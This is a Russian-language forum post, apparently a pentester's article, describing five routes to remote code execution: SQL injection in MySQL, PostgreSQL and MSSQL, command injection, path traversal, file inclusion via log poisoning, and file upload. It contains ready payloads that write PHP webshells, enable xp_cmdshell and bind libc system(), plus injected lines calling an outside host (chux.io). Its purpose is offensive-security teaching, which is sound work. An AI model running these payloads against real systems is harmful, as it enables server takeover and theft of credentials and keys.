5 способов получить RCE на практике

Добро пожаловать на наш форум!

Спасибо за посещение нашего сообщества. Пожалуйста, зарегистрируйтесь или войдите, чтобы получить доступ ко всем функциям.


Gibby

Автор
Команда проекта

Регистрация
Сообщений
1,635
Репутация
45
Сделок
Для специалистов в области offensive security обнаружение уязвимостей удалённого выполнения кода (RCE) является настоящей жемчужиной как для black-box проектов, так и для white-box. Такие уязвимости могут проявляться по-разному, но также существуют общие подходы для их обнаружения.

В этой статье мы рассмотрим распространённые методы получения RCE, включая SQL-инъекции, командные инъекции, path traversal, Local File Inclusion (LFI) и уязвимости в загрузке файлов. Для каждого вектора атаки мы приведём примеры и реальные случаи из моей практики, чтобы продемонстрировать их влияние.

q.png
SQL-инъекция
SQL-инъекция широко известна как одна из самых известных веб-атак, предоставляющих злоумышленнику контроль над базой данных цели. SQL-инъекция может быть ещё опаснее, помимо кражи данных она позволяет злоумышленнику выполнять команды на операционной системе цели. RCE через SQL-инъекцию возможно когда злоумышленники используют запросы к базе данных для выполнения системных команд. Разные системы управления базами данных, такие как MySQL, PostgreSQL и MSSQL, обладают различными возможностями для выполнения команд на уровне операционной системы.

Важно отметить, что манипуляции выполняются с сервисом SQL, а не с веб-сервером (например, Apache или Nginx). Таким образом, достижение RCE зависит от привилегий, которыми обладает SQL-сервис на целевом сервере.


MySQL
Предположим, что вы нашли оператор SELECT, который позволяет вам внедрить вредоносный запрос. У вас есть два основных направления атаки. Первый и наиболее предпочтительный — использование функции OUTFILE в MySQL. Опция OUTFILE в MySQL используется для записи результата запроса в файл на файловой системе сервера. Мы можем использовать эту функцию, чтобы записать, например webshell, выполнив что-то вроде следующего:

Код:
' UNION SELECT "<?php exec($_GET['shell']) ?>" INTO OUTFILE "/var/www/html/upload.php";

У меня был случай, когда при попытке выполнить эту операцию я получал сообщения об ошибках, указывающие на то, что у службы MySQL недостаточно прав для записи файла в указанные мной каталоги. Однако после нескольких попыток изменения пути файла мне повезло найти путь, в котором я смог записать файл.

Второй путь в случае SQL-инъекции в MySQL — использование функции LOAD_FILE(). Функция LOAD_FILE() в MySQL используется для чтения содержимого файла, находящегося на сервере, и возврата его в виде строки. Обычно она применяется для получения содержимого текстовых файлов, таких как файлы конфигурации или логи, в результате запроса. Если эта функция работает, можно попытаться использовать её для атаки path traversal с целью чтения конфиденциальных файлов с сервера, надеясь найти, например, приватные ключи SSH или пароли. Однако этот метод менее перспективен по сравнению с ранее упомянутой функцией.


PostgreSQL
В PostgreSQL у нас также есть несколько доступных вариантов. Первый из них — использование функции COPY для создания нового файла, что весьма похоже на пример с MySQL, рассмотренный ранее:

Код:
1; COPY (SELECT '<?php system($_GET["shell"]) ?>') TO '/var/www/html/chux.php'; --

Для чтения конфиденциальных файлов на системе можно использовать функцию pg_read_file():

Код:
SELECT pg_read_file('/var/www/html/.env',0,1000);

Ещё один, более креативный способ добиться RCE в данной DBMS — использование скриптовых языков, установленных в системе, для выполнения произвольного кода. Следующий запрос может показать, какие скриптовые языки поддерживаются в целевой базе данных:

Код:
SELECT lanname,lanpltrusted,lanacl FROM pg_language;

Если на системе поддерживается скриптовый язык, вы можете использовать его для создания пользовательского скрипта, чтобы выполнить всё, что вам нужно:

Код:
1; CREATE FUNCTION rce() RETURNS VOID AS $
import os
os.system('echo pwned > /tmp/chux.txt')
$ LANGUAGE plpythonu; SELECT rce(); --

Для дополнительного изучения эксплуатации скриптовых языков PostgreSQL для достижения RCE, ознакомьтесь с этим превосходным руководством.

И наконец, ещё один интересный приём для PostgreSQL, который я узнал из OWASP и применил его на одном коммерческом сайте, заключается в инъекции пользовательской функции, связанной с libc.

Чтобы реализовать это, необходимо выполнить следующие шаги:
1. Создать таблицу для вывода результата (stdout).
2. Запустить shell-команду, которая будет ссылаться на этот вывод.
3. Использовать функцию COPY, чтобы получить результат выполнения вашей shell-команды в созданную таблицу.

Пример с сайта OWASP выглядит следующим образом:

Код:
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'


STRICT --
/store.php?id=1; SELECT system('uname -a > /tmp/test') --
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --
/store.php?id=1 UNION ALL SELECT NULL,(SELECT system_out FROM stdout ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--


MSSQL
Здесь существуют известные хранимые процедуры, которые помогают выполнять команды ОС непосредственно из базы данных.
Нативный способ выполнения команд операционной системы на сервере MSSQL заключается в использовании xp_cmdshell. Эта хранимая процедура по умолчанию отключена и может быть активирована только пользователем sa (системным администратором).

Пример простой команды с использованием xp_cmdshell:

Код:
EXEC xp_cmdshell 'ipconfig';

Предположим, что вам удалось найти уязвимое место для инъекции. Если у вас есть доступ к пользователю sa или другой учетной записи с достаточными привилегиями, вы можете получить RCE на целевой системе!
Если же у вас есть достаточно прав для запуска xp_cmdshell, но эта функция отключена, вы можете включить ее с помощью следующей команды:

Код:
1; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --

И, наконец, для выполнения любой команды вы можете использовать:

Код:
1; EXEC xp_cmdshell 'ping chux.io'; EXEC xp_cmdshell 'dir C:\\users'; --

Здесь стоит упомянуть, что кроме xp_cmdshell, есть еще несколько хранимых процедур, которые можно использовать для манипуляций с целевым сервером:

xp_regread — чтение из реестра. Пример:

Код:
EXEC xp_regread
    @rootkey = 'HKEY_LOCAL_MACHINE',
    @key = 'SOFTWARE\Microsoft\Windows Defender',
    @value_name = 'DisableAntiSpyware';

xp_regwrite — запись в реестр. Пример:

Код:
EXEC xp_regwrite
    @rootkey = 'HKEY_LOCAL_MACHINE',
    @key = 'SYSTEM\CurrentControlSet\Services\MyService',
    @value_name = 'Start',
    @type = 'REG_DWORD',
    @value = '2';

sp_send_dbmail — замена xp_sendmail. Пример:

Код:
EXEC msdb.dbo.sp_send_dbmail 
    @profile_name = 'DefaultProfile', 
    @recipients = '[email protected]', 
    @subject = 'Test Email', 
    @body = 'This is a test email sent from SQL Server.';

Подводя итог «от SQLi до RCE» - существует много способов выполнить произвольный код на сервере через SQL-сервис. Конечно, как правило, рекомендуется, чтобы системные администраторы предоставляли минимально необходимые привилегии этим службам, а упомянутые SQL-функции должны быть отключены, поскольку обычно они используются крайне редко.

И всё же, я до сих пор находил достаточно SQL-серверов, которые могут читать/записывать файлы на сервере. Поэтому, если вы обнаружили SQL-инъекцию, всегда пытайтесь определить свои привилегии, чтобы максимально увеличить профит!


Command Injection
Это самая классическая уязвимость RCE (удаленное выполнение кода), которую каждый из нас хотел бы найти. Хотя в наши дни она уже не так распространена, всё же её можно встретить во множестве IoT устройств, особенно в роутерах. К счастью, мне также встречались веб-приложения, обычно созданные на PHP и NodeJS, которые использовали некоторые функции операционной системы в сочетании с пользовательскими параметрами для выполнения команд на сервере, что позволяло злоумышленнику довольно легко получить RCE.


Классическая инъекция
Во время одного black-box тестирования я наткнулся на внутреннее веб-приложение, в котором одна из функций позволяла пользователю ввести URL веб-сайта организации, чтобы скачать оттуда файл и затем предоставить его пользователю после конвертации формата.

Я предположил, что за кулисами разработчик мог использовать команды curl или wget, передавая URL-адрес, введённый пользователем, в качестве аргумента. Я представил себе что-то вроде:

Код:
<?php
function downloadFile($url) {
    $getfile = "wget $url -O downloaded_file";
    system($getfile);
    echo "File downloaded successfully!";
}
if (isset($_GET['file'])) {
    downloadFile($_GET['file']);
}
?>

Итак, если код в веб-приложении похож на тот, который я описал выше, мы можем предоставить URL, а затем просто добавить что-то вроде “; curl chux.io #”, чтобы подтвердить нашу теорию.

В этом случае это сработало, и у меня была слепая инъекция команд, что сделало возможным запуск обратной оболочки или загрузку webshell.


Second Order Injection
Second Order Injection происходят, когда уязвимая функция выполняет код, сохраненный в базе данных, без прямого ввода пользователя в саму уязвимую функцию.

В ходе просмотра кода другого внутреннего веб-приложения для туристической компании я обнаружил функцию, которая загружает документы с FTP-серверов в сети, используя что-то похожее на следующий код:

Код:
<?php
function connectToFTP($server_id) {
    global $conn;
    $query = "SELECT ip_address FROM doc_servers WHERE id=$server_id";
    $result = $conn->query($query);
    $row = $result->fetch_assoc();
    $ip_address = $row['ip_address'];
    system("ftp $ip_address"); 
}
if (isset($_GET['server_id'])) {
    connectToFTP($_GET['server_id']);
}
?>

Код выше берет IP-адрес сервера из базы данных и передает его в функцию system() без какой-либо валидации. Я сразу же стал искать место в коде, которое отвечает за добавление или редактирование IP-адресов серверов, и к моему удивлению, валидация была только на стороне клиента!

Итак, я создал новый сервер и ввел следующий IP-адрес в поле:

Код:
127.0.0.1; echo 'pwned' > /var/www/html/chux.txt / #

И как ожидалось, когда я выполнил FTP-функцию для получения документов с сервера, мой файл был создан на веб-сервере, что стало доказательством критической уязвимости!


Path Traversal
Эта атака известна тем, что позволяет злоумышленникам читать произвольные файлы на сервере, но не выполнять код напрямую. Однако в некоторых случаях я обнаруживал, что эта атака является отличным способом получить RCE.

Файлы, которые я обычно ищу, чтобы эскалировать эту атаку:
• SSH-ключи (/home/*/.ssh/id_rsa)
• .env файлы — обычно содержат секреты и учетные данные
• Bash-скрипты — могут содержать учетные данные для серверов и баз данных
• web.config — в .NET приложениях этот файл может содержать MachineKey, что может привести к атаке десериализации ViewState

Эта атака не предоставляет нам напрямую выполнение кода на сервере, но, если мы тщательно исследуем файловую систему, мы сможем найти полезную информацию для подключения к цели.

Один из моих любимых примеров силы path traversal — это CVE-2021–41773 & CVE-2021–42013.


Local File Inclusion (LFI)
В отличие от предыдущей уязвимости, с LFI мы не только можем читать файлы на сервере, но и выполнять PHP код!

Если целевое приложение использует одну из популярных PHP-функций:
• require()
• include()
• require_once()
• include_once()

Мы должны проверить, можно ли передать этим функциям путь к файловой системе сервера. Наиболее распространенные методы, с которыми я столкнулся в реальных атаках, — это отравление логов и загрузка файлов.
При отравлении логов нужно проверить, к каким файлам на сервере мы можем получить доступ с правами веб-сервера. Например:

  • /var/log/apache2/access.log
  • /var/log/apache2/error.log
  • /var/log/auth.log
  • /var/log/mail.log
Если нам удастся добавить строку PHP в один из этих логов, то мы сможем получить RCE на целевом сервере. Например, если мы можем читать auth.log, то можно «отравить» его, просто совершив неудачную попытку подключения по SSH:

Код:
ssh "<?php system('curl chux.io'); ?>@10.20.30.40"

Доступ к auth.log через функцию PHP, такую как include(), приведет к выполнению кода в файле журнала!

Другим распространенным вариантом является использование LFI через загрузку файлов. Если есть защита от загрузки файлов, которая, например, имеет белый список только для jpg-файлов, мы можем использовать Exiftool для внедрения нашего PHP-кода в комментарий или любой другой атрибут файла, а затем просто загрузить его как jpg. Прямой доступ к загруженному файлу не приведет к выполнению нашего кода, но доступ к нему через LFI заставит код работать!


Уязвимость file upload
Это, возможно, одна из моих любимых атак. Каждый раз, когда я вижу эту функциональность, я трачу много времени, пытаясь ее использовать.
В этой статье я не буду углубляться в методологию тестирования, но рекомендую прочитать мои предыдущие статьи на эту тему:
5 Advanced Ways I Test For File Upload Vulnerabilities
From File Upload To LFI

Однако в большинстве случаев функционал загрузки файлов может быть далеко непростым. От загрузки веб-оболочки до XXE и уязвимостей произвольного чтения файлов, все должно быть очень тщательно протестировано.

У меня есть друг, который тестировал веб-приложение на NodeJS на уязвимость file upload и нашел способ загружать JS файлы вместе с обходом каталогов. В конечном итоге это привело к отказу в обслуживании, когда он случайно перезаписал оригинальный index.js файл на сервере.

Совсем недавно у меня был обзор кода для PHP-веб-приложения, и следующий код меня шокировал:

w.png
Как видите, нет никаких ограничений на загрузку файлов, и это в уважаемой компании.

Функция загрузки файлов — отличное место для поиска вашей следующей критической уязвимости, не сдавайтесь после первой неудачной попытки загрузить файл .php!


Итог

Существует множество различных способов достижения удаленного выполнения кода с использованием различных уязвимостей. Здесь мы упомянули только несколько, которые, по моему опыту, были наиболее распространенными в реальных случаях.

Хотя существуют «очевидные» уязвимости для RCE, такие как инъекция команд и загрузка файлов, в некоторых случаях мы можем получить чрезвычайно высокую ценность, используя SQLi или доступ к файлам (path traversal).

Когда вы изучаете новую тему или находите новую уязвимость в своих проектах, потратьте достаточно времени, чтобы найти способ эскалации вашей атаки. Я читал о случаях, когда даже CSRF можно было преобразовать в RCE.

Удачи в поиске вашей следующей RCE уязвимости, хакеры!
 
Сверху